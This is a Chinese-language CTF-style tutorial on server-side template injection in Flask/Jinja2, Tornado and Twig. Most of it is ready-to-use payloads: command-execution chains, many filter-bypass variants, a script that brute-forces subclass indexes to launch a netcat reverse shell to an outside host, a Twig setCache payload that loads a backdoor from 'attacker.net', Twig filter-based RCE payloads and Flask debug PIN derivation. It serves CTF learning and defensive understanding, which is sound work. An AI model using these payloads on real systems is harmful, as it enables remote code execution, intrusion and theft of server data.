判断模板类型
php常见模板:twig,smarty,blade
python常见的模板:Jinja2,tornado,Django
java常见的模板:FreeMarker,velocity
ssti漏洞成因
SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。
from flask import *
from jinja2 import *
app = Flask(__name__)
@app.route("/myan")
def index():
name = request.args.get('name','guest')
html = '''<h3> Hello %s'''%name
return render_template_string(html)
if __name__ == "__main__":
app.run(debug=True)
魔术方法
魔术方法 | 作用 |
---|---|
__class__ |
查找当前类型的所属对象 |
__base__ |
沿着父子类的关系往上走一个 |
__mro__ |
查找当前类对象的所有继承类 |
__subclasses__() |
查找父类下的所有子类 |
__init__ |
查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper 字眼,说明没有重载 |
__globals__ |
函数会以字典的形式返回当前对象的全部全局变量 |
__getitem__() |
对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。(代替中括号) |
一个pyload例子:
{{().__class__.__base__.__subclasses__()[484].__init__.__globals__.os.popen('cat /flag').read()}}
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("cat /flag").read()}}
绕过
过滤双大括号
{% %}
使用介绍:
{%%}
是属于flask的控制语句,且以{%end..%}
结尾,可以通过在控制语句定义变量或者写循环,判断。
判断{{}}
被过滤
尝试{% %}
判断语句能否正常执行
1 {% if 2>1 %}qwq{%endif%}
2 {% if "".__class__ %}qwq{%endif%}
3 "{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('cat /flag').read() %}qwq{%endif%}"
无回显ssti
反弹shell
import requests
url = 'http://192.168.86.133:780/flasklab/level/3' #input("url:")
for i in range(500):
#data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
data={"code":"{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('netcat 192.168.86.130 7777 -e /bin/bash').read() %}qwq{%endif%}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
#os.py
if 'qwq' in response.text:
print(i,"-->",data)
except:
pass
反弹:
nc -lvp 7777
引号过滤
使用request模块进行绕过,request模块在os._wrap_close
中,可使用脚本查询
pyload:
http://192.168.86.133:780/flasklab/level/5?qwq=popen&cmd=cat /flag
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.qwq](request.args.cmd).read()}}
下划线过滤
过滤器绕过
过滤器
attr()绕过
attr主要用来防止 .
过滤而不能获取对象属性
{{()|attr(request.args.qwq)}}
http://192.168.86.133:780/flasklab/level/6?class=__class__&base=__base__&subcl=__subclasses__&number=__getitem__&a=__init__&b=__globals__&c=__getitem__
code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subcl)()|attr(request.args.number)(117)|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)('popen')('cat /flag')|attr('read')()}}
编码绕过
形式和上面一样,只是经过了编码
unicode编码:
code={{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(117)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")('popen')('cat /flag')|attr('read')()}}
16位编码:
code={{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('cat /flag').read()}}
base64编码和格式化字符串 绕过就不手打了,一定不是我懒(逃
点过滤
attr过滤
attr没有使用点和中括号
用中括号代替点
payload:
code={{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']()}}
关键字过滤
“+”拼接
使用+
号拼接字符串
pyload:
{{()['__class__']}}---->{{()['__cla'+'ss__']}}
code={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('cat /flag')['re'+'ad']()}}
jinjia2中的”~”拼接
在jinjia2中~
可以拼接字符
payload:
{%set a='__cla'%}{%set b='ss__'%}{%set c='__in'%}{%set d='it__'%}{{()[a~b][c~d]}}
{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__glo'%}{%set j='bals__'%}{%set k='po'%}{%set l='pen'%}{{()[a~b][c~d][e~f]()[199][g~h][i~j]['os'][k~l]('cat /flag')['read']()}}
# 逆天payload
reverse逆转
payload:
{%set a="__ssalc__"|reverse%}{{()[a]}}
数字过滤
过滤器length
length过滤器用于返回字符串长度
{% set a='aaaaa'|length %}{{a}} #10
{% set a='aaaaa'|length*'a'|length %}{{a}} #30
混合过滤
过滤器dict()和join
join
可以直接拼接键名
{%set a=dict(__cla=a,ss__=a)|join%}{a}
获取符号
{%set ben =({}|select()|string()|list)%}{{ben}}
当加上list就会变成列表就可以[8]
等方式获得数据
过滤 ‘ “ + request . [ ]
code={% set getitem = dict(__getitem__=1)|join%}{%set kg = ({}|select()|string()|attr(getitem)(10))%}{% set globals=dict(__globals__=a)|join%}{% set os=dict(os=a)|join%}{% set payload=(dict(ls=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
主要是利用join拼接+addr绕过点,最后执行命令那要绕过单引号,就利用了上面获取符号例子里获取空格
过滤 ‘ “ _ 0-9 . [ ] \ 空格
{{lipsum|string|list}}
获取过滤的符号
再构造payload
{% set nine = dict(aaaaaaaaa=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set eighteen=nine+nine%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set payload=(dict(cat=cat)|join,kg,dict(flag=flag)|join)|join %}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
获取config
无过滤直接{{config}}
就可以获取
当被过滤时,可利用已加载内置函数或对象寻找被过滤字符串
flask内置函数
函数 | 作用 |
---|---|
lipsum | 可加载第三方库 |
url_for | 可返回url路径 |
get_flashed_message | 可获取消息 |
使用内置函数调用current_app模块进而查看配置文件current_app
可输出当前app(即flask)
payload:
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
tornado模板中获取
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了
{{handler.settings}}
pin码计算
生成原理
- 获取用户名username
```
import getpass
username=getpass.getuser()
2. 获取app对象name属性
默认为Flask
3.获取app对象module属性
默认为flask.app
4.获取app.py文件所在路径
5. uuid
6.get_machine_id获取
linux:cat /etc/machine-id
docker中还得cat /proc/self/cgroup把第一行的拼接上去
macOS: ioeg -c IOPlatformExpertDevice -d 2
windows:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
# 练习
[[安洵杯 2020]Normal SSTI](https://www.nssctf.cn/problem/910)
```python
url_black_list = ['%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e']
black_list = ['.', '[', ']', '{{', '=', '_', '\'', '""', '\\x', 'request', 'config', 'session', 'url_for', 'g',
'get_flashed_messages', '*', 'for', 'if', 'format', 'list', 'lower', 'slice', 'striptags', 'trim',
'xmlattr', 'tojson', 'set', '=', 'chr']
payload
http://node4.anna.nssctf.cn:28698/test
?url={%print(()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(137)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("popen")("\u0063\u0061\u0074\u0020\u002F\u0066\u006C\u0061\u0067")|attr("read")())%}
```
或者
`fenjing`一把梭
[[HNCTF 2022 WEEK3]ssssti](https://www.nssctf.cn/problem/3022)
过滤:_ ' " os
```
1.
{% set xhx=((lipsum|string)[18])%}{% set kg=((lipsum|string)[9])%}{% set s=((lipsum|string)[27])%}{% set o=((lipsum|string)[7])%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}{% set a=(o,s)|join%}{% set popen=dict(popen=a)|join %}{% set playload = (dict(cat=a)|join,kg,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{{lipsum|attr(globals)|attr(getitem)(a)|attr(popen)(playload)|attr(read)()}}
或者
{{(lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=tac f*
Twig模板注入
Twig 是一个灵活、快速、安全的 PHP 模板语言。它将模板编译成经过优化的原始 PHP 代码。Twig 拥有一个 Sandbox 模型来检测不可信的模板代码。Twig 由一个灵活的词法分析器和语法分析器组成,可以让开发人员定义自己的标签,过滤器并创建自己的 DSL。
过滤器
下面这个过滤器的例子会剥去字符串变量name
中的 HTML 标签,然后将其转化为大写字母开头的格式:
{{ name|striptags|title }}
// {{ 'whoami'|striptags|title }}
// Output: Whoami!
下面这个过滤器将接收一个序列 list
,然后使用 join
中指定的分隔符将序列中的项合并成一个字符串:
{{ list|join }}
{{ list|join(', ') }}
// {{ ['a', 'b', 'c']|join }}
// Output: abc
// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c
Twig中,可以直接调用内置函数
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
// Output: 0, 1, 2, 3,
全局变量
_self:引用当前模板名称;(在twig1.x和2.x/3.x作用不一)
_context:引用当前上下文;
_charset:引用当前字符集。
模板注入
Twig 1.x
三个全局变量
_self:引用当前模板的实例。
_context:引用当前上下文。
_charset:引用当前字符集。
在注入中主要运用_self
变量,它会返回当前\Twig\Template
实例,并提供了指向 Twig_Environment
的 env
属性,这样我们就可以继续调用 Twig_Environment
中的其他方法,从而进行SSTI
比如以下 Payload 可以调用 setCache
方法改变 Twig 加载 PHP 文件的路径,在allow_url_include
开启的情况下我们可以通过改变路径实现远程文件包含:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
此外还有 getFilter 方法,其中含有call_user_func
可通过传递参数到该函数调用php函数
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串
2.x&3.x
这俩版本_self
作用和前一个版本不同,所以不能再用_self
来注入
map过滤器
map所对应的函数如下
function twig_array_map($array $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v $k);
}
return $r;
}
我们可以看到,传入的$arrow
直接就被当成函数执行,即$arrow($v, $k)
,而 $v
和$k
分别是 $array
中的 value
和 key
所以$array
和$arrow
都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce
经过查询,有如下几种常见命令执行函数
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string
有两个参数的函数就上面三种,其对应payload
{{["whoami"]|map("system")}}
{{["whoami"]|map("passthru")}}
{{["whoami"]|map("exec")}} // 无回显
但是当上面的都被ban了呢,我们还有没有其他方法rce
当然,例如
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int
当我们找到路径后就可以利用该函数进行写shell了
?name={{{"
sort过滤器
类似于map,sort在模板编译时也会进入twig_sort_filter函数
function twig_sort_filter($array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
if (null !== $arrow) {
uasort($array, $arrow); // 直接被 uasort 调用
} else {
asort($array);
}
return $array;
}
可以看到,$array
和$arrow
直接被uasort
调用
uasort会将数组中的元素按照键值进行排序,当我们自定义一个危险函数时,就可能造成rce
payload
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}} // 无回显
filter过滤器
filter过滤器使用箭头函数过滤序列或映射的元素
类似于map,filter在模板编译时也会进入twig_array_filter函数
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // $array 和 $arrow 直接被 array_filter 函数调用
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
得到payload
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} // 无回显
{{{"
reduce 过滤器
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v) }}
function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
return array_reduce($array, $arrow, $initial); // $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}
array_reduce有三个参数
$array
和 $arrow
直接被 array_filter
函数调用,我们可以利用该性质自定义一个危险函数从而达到rce
payload
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 无回显